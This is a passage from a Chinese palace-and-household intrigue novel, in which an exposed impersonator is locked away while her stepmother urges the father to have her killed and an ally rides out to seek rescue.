“把大姑娘拖去柴房关着!她屋里伺候的人和她有关系的人都关着,不许走漏一丝风声!去把王妈妈和宝丫也带回来,审问清楚!”李珺厉声吩咐,盯着李福说,“你看好了,此事你亲自去办!” 李福吓得一身冷汗,立刻点头,连忙带着人出去了。 “老爷,我有事与您说。”看李珺脸色不好看,孙大娘子知道机会来了,立刻开口说。 “先把母亲的葬礼安排好。”李珺没有心情,便哑声说,他想安静地陪着母亲坐一会儿。 “事关大姑娘身世,还请老爷先听我细说。”孙大娘子开口,她意识到此时已经到了她等待的最好时机。 李珺意识到此事非同小可,立刻说:“双双、妙人,带着大家先出去。” 把人都打发走,下人也在门口守着,李珺这才看向孙大娘子,问:“怎么回事?” 孙大娘子立刻跪下来说:“夫君,我前些日子查到青黛的事情,还牵扯出了一堆事,方才人多,实在是不便细说。” 于是李珺便知道了两件事情。 一件事情是宝丫竟把满娘一家都养在村里,也不知道是为了什么; 第二件事情,则是关怀素的真实身份。 听到第一件事情的时候,李珺尚还能保持正常思考,在他看起来,大女儿和母亲不睦,养着满娘,应当也是想拿来作为什么把柄。 可听到关怀素的真实身份的那一瞬间,李珺完全愣住了。 他不可置信地看着孙大娘子,脱口而出,说:“你是不是糊涂了?玉儿从头到尾都没变过,怎么可能换了人?!” 孙大娘子知道他不会信,毕竟这种事情太匪夷所思,于是她镇定地问:“老爷可记得,前些日子咱们家里一起用餐,当时桌上上了一道凉拌橡子豆腐?” 李珺当然记得,眼圈发红看着床上老母的尸体,哑声说:“这道菜清爽软和,母亲近些年很爱,家里一直都有。” “那老爷可记得,前几年婉玉吃橡子豆腐,浑身长满了小疙瘩的事情?”孙大娘子问。 李珺一愣,他素来就不关注大女儿,但是这事儿闹了几次,还请了郎中,仔细回想一下,确实依稀记得有这事儿。 因此李珺便点头,说:“好像是有这事儿。” “我前些日子,见婉玉她吃了许多橡子豆腐。”孙大娘子立刻说:“我当日担心玉儿一时贪嘴,忘了自己吃不得,到时候身体不舒服,晚上便特地叫下人注意着,却没想到竟然无事!” “她长大了,许是橡子又能克化了,这也是常见的事情,这也不代表她就换了人啊!”李珺听她说到这里,已经有些不耐烦,说,“子不语怪力乱神,你若是要和我说的是这个,便早些回去歇着吧。” “夫君!当时我确实也和老爷想得一样!”孙大娘子立刻说,“可当日我心里觉得不对,于是我派了周家小子去了八仙庄,查得清楚,当时从庄子上运了一具女尸出去,路上村人都可作证,死的是关娘子之女!” 看李珺不明所以,关大娘子不再卖关子,一股脑地说:“我听着不对,便叫周家那小子顺路去细查。结果才知道,当年关娘子生婉玉没多久,关老爷子身边就多了个小丫头!那丫头自小跟着关老爷子,继承了关老爷子的衣钵,自小学习工学。且她样貌听村人形容,与婉玉别无二致!” 李珺听到这里,豁然开朗! 想到家里女儿突然就会工学,且极其精通,甚至还帮着平安侯去梳理京师水道……当初女儿只说在八仙庄有师傅教导,可工学不是一日之功,哪怕是罕见的天才,难道半年就真的能学到如此精通? 李珺不懂工学,甚至也曾动过疑窦,只是后来各种杂事繁多,就此搁置了。 可今日听孙萍这么说起来,若是自小是关怀远教导,那就一切都说得通了! 再想到自打去年从庄子上回来之后,大女儿的性子确实是翻天覆地一般有了变化,李珺想着想着,面色巨变,咬牙说:“你的意思是说,素素当初生的是长得一模一样的双生胎,一个留在京师,一个悄悄送回了关家?可不可能!素素无缘无故,为何要瞒着另外一个孩子,为何要把孩子送走?!” 孙大娘子当然不知道为什么,但是她却知道怎么让这件事情按自己想象的发展,她只压低声音说:“我也不知为何,但是我想着……左不过是婉玉的死,只怕真的有什么问题,那丫头乔装改扮,大约便是想着为姐姐报仇雪恨。” 李珺听到这里,登时愣住了。 “你先去处理母亲的身后事。”沉默一下,李珺轻声开口吩咐,“母亲身后事一定要办好,这事儿双双没做过,我就交给你了,务必要办得风风光光。” “是!”孙大娘子眼里闪过精光,她知道自己赌对了。 第一百三十八章 性命相托 “娘子,你方才实在是太冒险了!”出门之后,孙大娘子脚一软,扶芳立刻扶住她,两人一起走出去,扶芳才轻声说。 扶芳的声音有些发哑,显然也是被吓到了,轻声说:“您悄没声息都查到永年县去了,却一直没告诉老爷,老爷这会子是有事情牵绊,没反应过来,日后想起来,若是心中对您有了忌惮,那可如何是好啊?” 这些事情孙大娘子自己又何尝不知? 她叹了口气,轻声说:“老夫人走得太急了,我没有办法。” 见扶芳露出不解神色,孙大娘子便轻声说:“你瞧着家里这样子,老夫人一死,会如何?” “还能如何?”扶芳思索着,扶着孙大娘子慢慢回自己院子,一边轻声说,“老夫人走了,家里的事情……” 说到这里,扶芳猛地瞪大眼睛,她意识到了什么,压低声音说:“娘子你说过,老夫人手里的库房里还有许多关家的老物件,里面还有许多没融的金银首饰,许还带着关家的印鉴呢!” 孙大娘子见她明白过来,便点头说:“正是,这东西老爷必然是不会叫宁小娘接手的,没得叫她知道当年事情,宁小娘那边不用管。可老夫人走了,老爷心中难过,家里唯一能与他聊老夫人和当年肇州之事的,便只有崔妙人一人。” 若是李珺把事情交给崔妙人,到公中还剩多少,就不好说了! 扶芳显然反应过来了,立刻说:“所以大娘子才想办法,先把老夫人的丧葬事情办好,顺理成章再清点老夫人的东西?” 孙大娘子点头,吐了口气,疲惫地说:“自打出事之后,老爷虽不说,但是对我情分日薄。淑儿过几日就要出嫁,文哥儿如今还没有找到老师……我无论如何,要抓着这个机会,否则日后再出点事情,手里没有钱财,只怕什么都支应不开。” 扶芳听到这里,心中动容,轻声哽咽地说:“可日后若是老爷追究起来,要如何是好啊。” 孙大娘子眼睛精光闪动,轻声说:“不会的,事关李家,若是能按死这个关怀素,摆平这件事情,老爷日后无论如何,都会记得我的好。” 这就是扶芳不知道的事情了。 扶芳满脸疑惑,孙大娘子却只笑了笑,说:“你放心,以前我替老爷办好了关家的事情,处理了关家那帮刁奴,老爷便给了我十几年的脸面。这一回也是一样的,你瞧着吧,关家那小丫头这回定然活不了了,老爷日后再如何,也会记着我的好。” 她说得笃定,扶芳依然不明白,却放下心来,开心地说:“那就好,那就好!” 二人说着话进了院子,一直在院子里急地走来走去的婉淑看到母亲进来,松了口气说:“阿娘,你们说什么如此开心呢?” 扶芳笑了一下,说:“老爷叫娘子处理老夫人身后事,我们说,三姑娘的嫁妆又可以丰厚许多了!” 婉淑闻言,立刻大喜,说:“真的?” 一旁陪着姐姐的李辰文听到,也是大喜,连忙拱手说:“恭贺阿娘又拿回掌家之权了。” “倒是没全拿回来,但是事情办好,也不过是几个月的功夫。”孙大娘子志得意满地笑了笑,对一双儿女宠溺地说,“不过这回可以给淑儿再添些嫁妆了,至于瑜哥儿,你上回说国子监的陈大人喜欢金石对吧?你等我挑拣一下,若是有什么好东西,你便拿去拜访。” 李辰瑜一听,心中大喜,忙对阿娘道谢,又说这回若是拜了名师,一定好好读书云云。 那边孙大娘子一家其乐融融,这边关怀素被丢在柴房,疼得直抽气,对哭泣的柳叶说:“柳叶,先别忙着哭,现在是生死大事!” 柳叶还没说话,门口传来宁小娘赔笑说话的声音,还有管家李福小声说了几句,柴房的门便打开了。 “可不能说太久,一会子老爷知道了只怕我们都不好过!”李福小声说着,宁小娘答应着,走了进来。 一进门,宁小娘看到关怀素的惨状,眼泪一下子下来了,哽咽地说:“姑娘受苦了……” 关怀素见她进门,心中登时有了希望,挣扎着坐起来说:“是我行事太顺,一时托大,竟不小心中了他人连环计。” 说完,不等宁小娘继续说话,关怀素便忍着喉中腥甜,说:“小娘,其他的话我都不说了,只是求小娘救我和柳叶一命!” “你父亲虽然生气,但是也不至于要你的命吧?!”宁小娘见她说得如此严重,登时有些惊疑不定地说。 关怀素摇摇头,喘气说:“小娘,如今我没时间跟您细细解释了,我只能跟您说,今儿晚上,不出半夜,我便定会有性命之忧!若是小娘愿意,便请您替我走一趟,跟我姨母说,请她务必快些带人救我性命,过了今晚,我必然性命不保!” 说着,关怀素奋力从头上拔下珍珠簪子,动作大了,竟呕出一口血来! 宁小娘瞧着心疼,但是她听关怀素讲得如此严重,也不敢耽搁,便把簪子揣在怀里,压低声音说:“你放心,此事我必然办好!” 关怀素没想到宁小娘竟一点也没犹豫,也不细问,就接了这样烫手山芋,眼圈一红,哽咽地说:“多谢小娘,如今我和柳叶的性命,都交在小娘手上了!” 宁小娘闻言,心中发紧,立刻点头说:“那我不耽搁了,立刻出去想办法!” 关怀素点头,便看到宁小娘急匆匆地出门去了。 关怀素这才缓缓趴在柴草垛上,也不敢躺着,怕压着背上的伤口。 她今儿穿的是碧蓝色,柳叶看到她背上鲜红的血浸出来,登时害怕地流泪,说:“姑娘,可怎么办,你背上全是血!” 关怀素苦笑一下,说:“没事,若是今晚能过去,再关心伤势吧。今晚若过不去……柳叶,那便是我害了你了……” 说到这里,一贯镇定的关怀素终于眼圈发红,流下泪来。 柳叶闻言大惊,在她心中,姑娘一贯是无所不能的,她也是第一次见到姑娘如此绝望,登时又怕又急,忙问:“姑娘怎么这么确定,咱们这罪名还没审问踏实呢,再说了,退一万步,方才李大人不是还说,大不了把咱们送回肇州么?到时候我们找机会跑掉不就是了!” “若是孙萍不把我的真实身份说出来,或许还有机会,孙萍最擅忍功,她敢站出来,就说明她有一击必杀的把握。”关怀素刚开始确实惊到了,但是在被连番审问的时候,她却早已经把所有可能性都想过了,她轻声对柳叶解释,“周妈妈是我赶走的,宁小娘是我扶起来的,且她手里的钱财、李家的钱财,都是关家的,更何况还有我手里的皇庄、大长公主的赏赐,甚至是关家的钱财,老夫人因何而死,此时已经不再重要,只要我不在了,都是李家的。” “可是还有大长公主呢,李家若是敢动您,难道不怕大长公主发怒?!”柳叶想到大长公主,登时觉得有了希望。 “我冒名顶替、身份不明,又有杀人嫌疑,若是我死了,罪名已定,大长公主哪怕要对李家发怒,也是名不正言不顺。”关怀素压低声音说,“但是我若是活着,他不敢赌我知道多少,事关我娘的嫁妆,那是李家立身根本,且我娘若是死因有异、加上姐姐死的事情暴露出去,李家的名声定然会更差……所以李珺反应过来,一定会马上对我动手!” “那怎么办?!”柳叶听到关怀素这么一分析,立刻急了。 “没有办法,我们都被关起来了,除非有人能知道这件事情,救我出去,否则李珺下不了狠心,孙萍也会劝他下定决心的。”关怀素苦笑一声,说,“怪我,我只是没想到,居然有人胆大包天到如此地步,竟会突然对老夫人下手……” 说着,关怀素想到一闪而过,李辰文那惊慌失措的脸。 到底是发生了什么她不知道的变故,崔妙人怎么会对能照拂自己的人下手呢? 关怀素实在是想不明白,她忍不住喃喃自语,问柳叶:“柳叶,老夫人明明活着,对崔妙人才是最好的,对不对?” 柳叶点头,说:“她如今没了多少宠爱,老夫人在,好歹也有情分呢。” “是啊,到底是发生了什么我没算到的事情,才叫她如此下手?”关怀素咬牙,轻声自言自语。 “姑娘的意思是,老夫人的死,与崔妙人有关?!”柳叶震惊地问。 “我不确定,但是李辰文肯定知道什么。”关怀素眯了眯眼睛,轻声叹了口气,说,“如今只能看老天还愿不愿意给我机会查清真相了。” 她抬头,看着柴房那扇小小的窗户,咬住下唇。 若是死在这里,关怀素真的不甘心。 她自小就聪明,跟着祖父走南闯北,从会走路的时候开始就学工学、学人心。 她的人生还有大好河山,还有天南海北认识的友人约好再聚,竟没想到会折损在这里。 想到这里,关怀素叹了口气,对柳叶说:“若我折损在此,也是命数,只可怜柳叶你被我连累了!” “姑娘说什么废话!”柳叶却瞪眼,她眼里在流泪,但是语气却很坚毅,说,“我与姑娘自小一起长大,便是天南海北都没分开过,若是姑娘折在这里,是姑娘的命数,也是我的命数!” “不是,你听我说!”关怀素从脖子摸出一块羊脂玉来,珍惜地摩挲一下,取下来拿给柳叶,边说,“若是今晚我躲不过,但是他们不知道你的底细,这块玉乃是羊脂暖玉,价值千金,你拿着找机会,一定要为自己留一条性命!” “我不要!这是老爷子看您体弱,特地去求了给您压命的!”柳叶咬牙,生气地哭着说,“我一个人跑出去又有什么用,姑娘不在了,谁惦记着给我安排一年四季的新衣裳首饰,谁带着我到处游玩,记得我在每个地方喜欢的吃食?姑娘不在了,我活着有什么意思?” “不,活着就有意思!”关怀素听她说得可怜,也是辛酸,轻声说,“柳叶,你活着出去,找到钟妈妈和师兄,告诉他们我是被李珺冤死的,让他们把这件事情报给大长公主。” 关怀素知道没有别的办法说服柳叶,便对她说:“出去替我报仇,柳叶,不然我冤死了、姐姐也冤死了,我娘可能也是冤死的,柳叶,只有你出去了,才有人证,才能替我报仇!” 柳叶闻言痛哭,最终咬牙,流泪接过玉佩说:“好,姑娘,我答应你!” 关怀素闻言,登时重重地松了口气。 她终于安排好了一切,如今,便只能等着命运的安排了。 “姑娘。”天色逐渐黑下来,柴房里没有灯,黑暗之中,关怀素听到柳叶不安地小声叫她。 “我在,柳叶别怕。”关怀素小声回答。 “姑娘,您就算身份暴露,也是老爷的亲生骨肉,您确定他会这么狠心吗?”柳叶带着希望在黑暗之中颤声问。 关怀素沉默了很久,久到柳叶以为姑娘不会回答她了,才听到关怀素幽幽的声音,说:“柳叶,李家这么小的院子,崔小娘院子里稍微日子过得差一些,我们便都知道了。” 柳叶不明白姑娘这时候说这句话是什么意思。 然后她听到姑娘小声说:“那你以为,姐姐过得如何,真的如李珺所说,他一概不知吗?” “男子不太关心后宅,也许真的没那么清楚……”柳叶磕磕巴巴地说。 她哪里不知道呢?上回关怀素也说过这样的话,也说过乡下的员外宠爱妾室,于是坐视妾室逼死发妻,老爷子是怎么说的。 可是生死之际,柳叶还是忍不住幻想,幻想也许李珺真的就是不知道后宅阴私,他真的只是不晓得大姑娘过得多么凄惨、又是如何被害死的。 关怀素知道她的心思,但是在这一刻,她突然觉得,如果真的马上就是快死了,如果这是她和柳叶最后的日子,那么,与其让柳叶害怕绝望,让她带着幻想,也许会幸福一点。 于是许多话到了嘴边,关怀素轻声说:“嗯,也许呢。” 两人的手在黑暗之中交握,等待着命运的宣判。 “哗啦”一声,本来好容易小了两日的雨水,又一次瓢泼一样从天而降。 第一百三十九章 暴雨之夜 宁小娘正在想办法自己出门去,事关大姑娘的生死,她交给谁都不放心。 但是她又不能叫李珺发现任何问题,她本来就不是个擅长谋划的人,紧张得手都在发抖。 想了想,最后没办法,宁小娘带着云青出门来,就问李福:“老爷如今在何处?” 李福躬身回:“回小娘,老爷如今还在老夫人屋里。” 看宁小娘脸色不好,他便问:“小娘有什么事情吩咐?” 这事儿不能假手他人,宁小娘摇摇头,压低声音对李福说:“不知为何,许是今儿闹狠了,我觉得身子不舒服,想去看看郎中。” 宁小娘本是托词,还没想好,却见李福眼珠一转,立刻说:“小娘是不是信不过家里请的郎中?毕竟先前也出过事呢,那我叫家里备马车,送小娘出去求医?” 这话一说,宁双双大喜,眼睛发亮,连连点头,说:“管家说得极是,便是这个道理,我必须要出去求医才是。” “哎!我这就去安排!”李福立刻笑着点头,转头飞快亲自安排,亲自送宁小娘到了门口,又叮嘱:“天色已经很晚了,一个时辰只怕天都黑透了,小娘夜里回来小心些。” “多谢管家。”宁小娘松了口气,便听到李福压低声音说,“这赶车的是我家四儿,这小子虽什么都不成,但是胜在嘴巴最是紧,小娘只管放心用他。” 宁小娘一愣,却见李管事那小儿子一挥鞭子,马车便出发了。 宁小娘惊疑不定地缩回来,便听李四儿在车上清亮地问:“小娘,咱们是直接去找郎中么?” “不用,去布庄!”宁小娘犹豫了一下,狠下心,直接回道。 果然四儿竟然也一句没问,到了布庄,宁小娘下了马车,说:“我去里面定一批新的素布,你自去周围吃玩,大概一个时辰再回来就是。” “哎,小娘只管慢慢来,这东西繁琐。”李四儿年岁不大,却行事极其懂眼色,笑着回了一句,竟真的转身就往对面茶馆去了。 不管是看在关家还是看在自己,宁双双都认了李福的人情。 她压低声音对云青说:“回去提醒我,这李四儿机灵,跟老爷说一声,很该安排些得脸的活计。” 云青哎了一声,二人立刻进了布庄,而后匆匆定了一批素布,让明儿一早送去李家。 而后她便从后门出去,租了驴车,一路就往县主府里赶。 布庄离县主府不远,一炷香的时辰就到了,给县主送了信马上赶回去,一来一回不过半个时辰,回家说不定谁都没惊动。 想到这里,宁小娘心里已经放松了许多。 谁知道偏就那么倒霉,到了县主府,门口主事儿的人一听说是李家大姑娘传信,马上管事的就出来了,却说了个噩耗——陈松最近因着京师大雨、百姓无一遭灾的事情,与同僚都得了圣人褒奖,今儿个同僚请吃酒,县主一家都去吃酒了! 且宴饮的地方还不在京师里,而是在城外的酒楼,今儿个晚上是准备达旦欢饮,宿在城外。 “家里一个主事儿的都没有,大姑娘是有什么急事吗?”管事看宁小娘有些紧张,便追问。 城外,哪怕快马加鞭,来回也得两个时辰,按大姑娘说的,今夜之前只怕要出事,那也来不及了! 宁小娘茫然地出了县主府,上了马车,一时觉得天地之大,竟不知去往何处。 梆子声音恰在此时响了,马车徐徐行走,外头车夫问:“客人,咱们是直接回布庄,还是去何处呢?” “先在街市上走走。”宁小娘高声吩咐。 云青急了,压低声音说:“小娘,已经戌时了,我们该回去了!” “不成,得找人救大姑娘。还有谁,到底还有谁与大姑娘交好……”宁小娘急的只不断念叨,拼命回想还有谁会救大姑娘。 突然,宁小娘想到了一个人,她开心地说:“不对,我们可以去公主府,大长公主定然会为大姑娘撑腰!” “小娘,大长公主府守卫森严不说,咱们现在赶过去得要个把时辰啊!”云青也着急,说,“到时候来得及吗?别大姑娘到时候出事,您也被发现了,到时候一起出事,那可真就完了!” 宁小娘一听,一下子眼圈红了,说:“那可怎么办,那可怎么办啊!” 就在绝望之际,马车行至半途,突然车子顿了一下。 “怎地了?”云青立刻问外头,“马车怎么停了,发生了何事?” “回贵人,前面是平安侯的马车过来了。”车夫在外头回,“平安侯当初为了打狄夷人,身子不好,小的想着在旁边等着,别惊到他的马车。” “平安侯!”宁小娘听到这里,眼睛登时一亮,说,“对了,还有平安侯!” “小娘!您干什么?!”云青见她站起来,惊得立刻一把拉住她,说,“哪怕大姑娘给平安侯当过帮手,侯爷也不一定会管这种阴私之事啊!” 宁小娘却摇头,她脸上露出了坚毅之色,说:“平安侯好歹是大长公主的儿子,若是他知道,看在公主面上,也许会愿意救大姑娘!再说了,姑娘帮平安侯治理水道,说不得有几分情面呢!” “全天下都知道平安侯和大长公主关系不好!”云青惊呼着,感觉到宁小娘一把掰开她的手就往外走,惊慌地说:“小娘你疯了!” 她们二人久居内宅,根本不知道关怀素与周乐天情分如何,说实话,宁双双不是不怕。 但是她忍着惊恐,还是坚定地说:“大姑娘救了我的命,我不能在这个时候眼睁睁看她出事!再说了,大姑娘说了,我们是朋友。” 说完,宁双双抱歉地看一眼云青,冲出马车,跳了下去。 “客人!客人!”赶车的车夫吓了一跳,大叫,“客人你怎么了?” 可宁小娘却完全不管,直接冲出去,冲到了马车前! 马车发出高声嘶鸣,来福勒着两匹马,手臂青筋暴起,马双双人立而起,才算是堪堪停住! 来福气地破口大骂:“你那疯妇是找死吗?突然这么冲出来,不是老子你就被马踏死了!” 下一刻,来福便愣住了。 因为他看到了一张如月光般的脸。 年轻女子星眸含泪,满脸都是绝望地说:“求平安侯救命!” 来福被这女子的美貌震撼到了,但是这倒不是好色,主要是来福在这个女子的脸上看到了故人的样子! 这仿佛是儿时看到关娘子再生的冲击感,叫来福愣了一下,而后他立刻意识到了什么,立刻小声对马车里说:“爷,有个长得与关娘子十分相似的女子拦车,请您救命!” 周乐天开始还以为自己在做梦,他自那日对关怀素剖白心迹却被拒绝之后,就一直闷闷不乐,哪怕日日踏青参宴,都郁结难开。 今儿个他也是从城外回来,只是大家都在欢庆,他却觉得格外意兴阑珊,而且不知为何心中总有股惶然不安的感觉,周乐天不知道是为什么,但是他心中实在放不下,因此才会在夜里急匆匆赶在城门关之前回家。 这时候骤然听来福说话,周乐天好奇地掀开车帘子去看,看到地上的人时,周乐天神色骤变,立刻吩咐:“你去问她是谁,有什么事情!” 来福恭敬应下,立刻飞身下了马车问话。 “我是李家的小娘,咱们家大姑娘出大事了,还请侯爷救命!”宁小娘急匆匆地说,“大姑娘给老夫人喂药,老夫人毒发身亡,如今大姑娘被关在柴房,她说今夜子时之前,若是找不到人救命,她就活不了了!” 这话一出,来福都吓得头皮发麻! 他不敢耽搁,几步回到马车窗下,把宁小娘的话复述了一遍! 周乐天一听,立刻酒意全醒了,他立刻从车里出来吩咐:“解开马缰!” 随从立刻解开马车缰绳,周乐天翻身上马,只吩咐一句:“把马车挪到路边,不许挡住其他行人!” 而后立刻一挥缰绳,一路策马,便直往李家而去! 来福也立刻跟上! “小娘,怎么办,你在闹市拦车,日后若是被人说出去……”宁小娘见周乐天主仆都往家里去了,心中登时大为安定,回到车里,云青却已经吓得哭出声来。 “哭什么!”宁小娘却脸上露出毅然之色,对云青说,“我今儿个出来,是为了定明儿用得上的孝布!还有李四儿给我们做证,我们从来没离开过布庄!” 云青有些害怕地说:“小娘,这瞒得过去么?” “瞒得过去!”宁小娘对外头喊,“往杏儿胡同去一趟。” “好嘞!客人您坐好嘞!”外头车夫看无事,便放下心来,答应一声,马车启动。 “布庄离杏儿胡同近,我们赶紧去拿些药,晚上你给我煎了。”宁小娘压低声音说,“我叫郎中给我开些莪术和三棱,到时候出来的事情也说得通了。” “小娘,你、你下红才止住几个月!”云青惊呼,“郎中说了,若是再养不好,日后怕是保不住孩子啊!” 宁小娘眼圈发红,咬牙狠狠地说:“大姑娘教过我,该狠的时候一定要狠!” 看云青还是担忧,宁小娘便压低声音说:“大姑娘出事,大娘子得势,你当她那个笑面虎会放过我?我别说是坐胎,若大姑娘过不去这一关,只怕接下来遭殃的就是我!等我没了,李福也不会有好下场!我们都是一起帮着大姑娘对付大娘子,还赶走了周妈妈的人!” 云青登时明白过来了,她立刻反应过来,说:“所以李管家才派了李四儿,就是为了给我们作证?!” “我猜着八九不离十!”宁小娘吐了口气,说,“我不如大姑娘聪慧,猜不准别的,但是大姑娘跟我说过,李管事家里还供着两个读书郎,他开支大,好容易得了家里有油水的地方,定不愿意被大娘子赶走的。” 云青闻言,立刻明白了,她咬牙,横下心来,说:“小娘说的是,大姑娘不会说错的,就是苦了您了!” “我怕什么?”宁小娘冷笑一声,说,“我都是差点死过一次的人了,孙萍和崔妙人都想我死,我偏不会,我要好好活着,大姑娘说了,家里越是乱,就越是账目容易出错的时候,当年关娘子死的那年,李家的账目做得糊涂成了什么样子,难道我这回便不能跟着学学?” 云青听到这里,也是咬牙点头,说:“上回小娘家里来人,瞧着您爹娘都好太多了,老爷子那腿脚换了好药,真是好了太多。” 宁小娘闻言,脸上露出柔软之色,笑了笑,轻声说:“是啊,爹娘还指望我呢。” 所以她不能倒下,不能眼睁睁地看着孙萍顺顺利利地再次翻身! “姑娘,夜深了,好冷啊。”柳叶轻声对关怀素说话。 关怀素搂紧了柳叶,说:“来,我们抱着取暖!” 说话之间,门悄无声息地开了,李福抱着一床旧被褥小心地进来,压低声音轻声说:“大姑娘,夜里寒凉,我不敢惊动人,只能从家里找了一床新被褥,您别嫌弃。” 关怀素感激地说:“这都什么时候了,你能帮我,我已经十分感激了。” 柳叶也是大为感动,接过被褥就把关怀素裹了起来。 李福又掏出一盒药,轻声说:“外头大娘子的人盯得紧,只能带这么点伤药,大姑娘先用着,我找到机会再送些来。” 柳叶大为感动,含泪接过来,说:“多谢管家。” 送完这些,李福便悄没声息地出去了。 “姑娘,是金疮药,来,我给你涂上!”柳叶打开闻了一下,连忙小心地叫关怀素脱了衣衫,挑出一点药给关怀素,一边还说,“得亏他们都是有良心的,这时候还能帮帮姑娘。” 关怀素笑了笑,轻声说:“是啊,这便是孙大娘子想不到的了。” 柳叶没听明白。 “孙大娘子确实是个厉害人物,但是她这个人太毒又太独了。比如小柳叶,如果是你一无所有寄居舅舅家,小妹妹性子刁蛮,与你不和,你会如何做?”关怀素为了分散背上的痛,干脆和柳叶细说起来。 柳叶慢慢涂药,一边想了想,说:“我应该会和她吵架和打架!” “那若是她欺负得你太厉害了,舅母也不管呢?”关怀素又问。 柳叶想了想,说:“如果我长大了,便自己做工,天下之大,难道没我的去处?” “可若是你被娇养在京师,不敢离开呢?”关怀素继续问。 “那我就去找舅舅!我听说孙大娘子的舅舅当年格外关爱她,还想着给她找一门官宦人家的好亲事呢!”柳叶压低声音,不开心地说,“当年她不就是因为这样,才嫁到李家的吗?没有她舅舅一力赞成,又办嫁妆又是前后出力,她能这么顺利嫁来李家么?” 关怀素叹了口气,轻声说:“这便是了,一般人都会这般,有心计,最多也是替自己找个好出路,但是不会去害人,甚至是害到自己恩人身上。” 孙大娘子嫁人后没多久,她的舅舅便病逝了。其中绝对也有两个女儿婚事前后都不顺利的关系。 庞家其他任何人孙大娘子都可以恨,但是她的舅舅,却真真是对她倾尽一切。 “孙萍此人,记仇不记恩,性子孤狠,她这时候一定以为自己胜券在握,完全想不到还有人愿意在这种时候帮我。”关怀素轻叹一口气,说,“她以为以利聚人,利尽而散,却不知道世上也有人会记得恩情,还有就是,也有人怕她这种狠辣守利的性子,怕她上位之后只用自己人,到时候这帮人都没了活路。” “我知道!”柳叶涂完药,眼睛发亮,轻声说,“这便是老爷子常说的,用人之道,要平和缓正,如天地山川,间疏有致,方能一方润泽!” “正是如此。”关怀素看柳叶心情好了些,心中也松快许多,笑着回答。 柳叶涂完药,二人钻在被褥里一起听着雨声,仿佛回到了小时候在永年县一个被窝听雨的日子。 “姑娘,我们还能回永年县吗?家里的大黄也不知道怎么样了。”柳叶听着外面的雨,轻声说,“大黄已经十岁了,它还能等到我们回家吗?” “会的。”关怀素轻声说着,就在这个时候,外面传来光亮和有人开门的声音。 关怀素的心脏一下子抽紧了。 门一打开,孙大娘子含笑的脸就在门口,笑意盈盈地问:“关姑娘,您是自己体面,还是要我们帮忙呢?” 扶芳带着下人端上来了匕首和绫罗。 关怀素的心一下子沉到了谷底。 第一百四十章 雨夜杀机 稍早时候,老夫人房内。 孙大娘子安抚好儿女,便匆匆带着人回到老夫人房里。 李珺还呆呆地坐在那里,看着老母的尸体,也不知道在想什么。 孙大娘子见此,眼神暗了暗,便走进去温声说:“夫君,天色已经快黑了,您还没用夕食呢,先回去休息一下吧,我们也好帮母亲擦身。” “我吃不下。”李珺一说话,便是潸然泪下,“肇州的日子好像就还在昨日呢,怎地一下子便是天人永隔了啊!” 孙大娘子也跟着擦眼泪,轻声说:“原也不好打扰夫君,只是老夫人才走,趁着身上软和,还是要擦洗换了衣衫,才能叫她走得体面。” 说着严妈妈捧着衣衫出来了,哭着说:“这都是老夫人早就备下的,衣衫首饰,全数都在这里。” 李珺看了看那套寿衣,泪如雨下。 他点点头,说:“多亏还有严妈妈。” 又愤怒地对孙大娘子说:“宝丫既然收了贿赂,那王妈妈定然也不干净!前些日子她装疯卖傻被赶走,是不是就是为了躲事儿?事关母亲生死,一定要严查清楚,此事你帮我盯着,不许出差错!” 孙大娘子闻言,立刻擦着眼泪答应,而后又迟疑说:“那关家丫头关怀素,老爷,咱们到底要如何处置?” “怀素,她叫怀素……”李珺听到这个名字,一下子痴了。 其实到了这个时候,人证物证都在,李珺也冷静下来,他这会子大概真的能确定了,这个关怀素,可能真的是他的另一个亲生女儿。 她居然还叫怀素。 李珺想到这里,心中大痛,流泪哑声说:“把她送回肇州老家,叫人严加看管,养她一辈子吧。” 孙大娘子一听,果然如自己猜测一般,她立刻垂眸答应,而后又迟疑地说:“老爷,按道理这事儿我不该多说,但是大长公主与关娘子是手帕交,若是日后叫大长公主知道此事,怪罪起来,我们该如何是好?” 孙大娘子这话,李珺就是全身一震。 他想到的不是大长公主怪罪起来如何,而是立刻想到了,若是大长公主知道了这个女儿的存在,一定会查大女儿的死因。 大女儿在家里过得如何,李珺再昧良心,也不敢说一句大长公主知道了会不会震怒。 他当日看到女儿的屋子的震惊,今日想起来还是历历在目。 “明日一早就把她送走,对外称她为祖母扶灵回乡守灵。”李珺立刻说。 孙大娘子听完,轻声说:“可是若是大长公主知道了,想查大姑娘在庄子上怎么死的,查到老夫人身上,再查到当年的事情……到时候怎么办?” 这话一出,李珺一愣。 孙大娘子见他没听明白,便压低声音轻声说:“夫君,是这样的,我查了八仙庄的时候,还发现了一个事情,关怀素似乎上半年接了个老妇回京,如今那老妇和她原先伺候的小丫头都被养在县主府上。我派去的人打听了,那老妇回来的时候,被人称呼为郑妈妈。” 李珺闻言,震惊地脱口而出:“不可能!郑妈妈不是早就死了吗?” 孙大娘子点头,说:“我也记得是的,但是我问得清楚,那老妇虽年纪大了,可听着形容,似乎真是郑妈妈,当初人多眼杂,指不定就是没处理好,叫她漏了。” 孙大娘子沉默一下,说:“既然已经见到郑妈妈,关怀素指不定已经知道当年之事,夫君顾念父女之情,她却未必不心怀愤恨。若是叫她得了机会,在大长公主面前告一状……” 当年那一夜血,还有关家下人仇恨的眼神,还有郑妈妈那一句句“你们不得好死!”似乎在耳边瞬间炸响! 李珺听到这里,立刻意识到了严重性,他惊出冷汗,说:“怎么办!” 他看着孙大娘子,一脸惊恐,说:“如今要怎么做?!” 孙大娘子立刻垂眸,露出悲伤之色,轻声说:“到底也是夫君的骨血,我原也想留她一条生路,可这里头事情实在是干系太大,关系全家的身家性命……” 孙大娘子跪下,含泪看着李珺行礼说:“还请夫君为了一家人,斩草除根!” 此话一出,惊雷炸响,大雨轰然落下。 李珺惊得没站稳,重重跌坐在身后榻上。 他不敢决断,迟疑地说:“不行,她虽恨这个家,但是到底是我和素问的骨血……” 孙大娘子急了,立刻说:“夫君,若是大长公主细查当年,别说老夫人的体面保不住,便是咱们这一大家子,要如何是好啊?关家下人手上不一定还有什么东西呢!若是只把关家嫁妆全部退回去也还好,不过是过苦日子罢了,可若是还有别的什么,那老夫人死后还有什么体面,咱们家里,瑜哥儿和文哥儿日后又还如何考学出仕?” 李珺闻言,心中纷乱复杂,六神无主地呢喃:“不成,不成……” 